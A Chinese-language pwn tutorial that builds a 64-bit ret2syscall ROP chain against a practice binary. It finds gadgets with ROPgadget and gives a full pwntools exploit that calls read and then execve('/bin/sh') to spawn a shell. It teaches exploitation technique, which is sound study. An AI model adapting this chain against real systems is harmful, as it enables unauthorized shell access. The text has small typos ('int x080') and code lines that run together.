PWN基础-ROP技术-ret2syscall-64位程序栈溢出利用
前置 ret2syscall 的基础我们就不做过多讲解了
利用思路与 32 位类似,只是传参的寄存器是:
rdi -> rsi -> rdx -> rcx -> r8 -> r9
我们这里只用到前三个就可以了,以及 rax
还有一个区别就是:
32 位系统调用最后是执行 int x080
而 64 位系统调用最后是执行 syscall
检查一下,64 位程序,开启 NX 保护:
ida 看一下 main 函数,存在明显的栈溢出
先找 pop rax;ret
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rax"
记录地址:
pop_rax = 0x46b9f8
接着我们找另外三个寄存器:
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "rdi" | grep "rsi" | grep "rdx"
没找到连续的,那么我们就分开来:
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rsi ; ret"
ROPgadget --binary ret2sys_64 --only "pop|ret" | grep "pop rdx ; ret"
看到有两个连一起的,当然我们也可以一个一个地传参
把地址都记录下:
pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
pop_rdx_rsi = 0x4377f9
找 syscall
ROPgadget --binary ret2sys_64 | grep syscall
这里看到的这个不对,因为后面没有 ret
正确的应该是 0x45BAC5
syscall = 0x45bac5
我们看一下 64 位的系统调用号:
read 系统调用号是 0
execve 系统调用号是 59,也就是 0x3b
我们先测一下偏移:
cyclic -l 0x616161616161616c
拿到偏移:
offset = 88
找一下可以写入的 bss 段地址:
bss_addr = 0x6c2000
至此,我们就可以写 exp 了:
# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./ret2sys_64")pop_rax = 0x46b9f8
pop_rdi = 0x4016c3
pop_rsi = 0x4017d7
pop_rdx = 0x4377d5
offset = 88
bss_addr = 0x6c2000
syscall = 0x45bac5
ret_addr = 0x400739payload = cyclic(offset)+p64(pop_rax)+p64(0x0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(bss_addr)
payload += p64(pop_rdx)+p64(0x20)
payload += p64(syscall)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(bss_addr)
payload += p64(pop_rsi)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()
没有问题,可以打通
也可以将 pop_rdx_rsi = 0x4377f9 用上
后面传两个参数就可以了,分开写,一起写都可以的,这里就不做过多演示了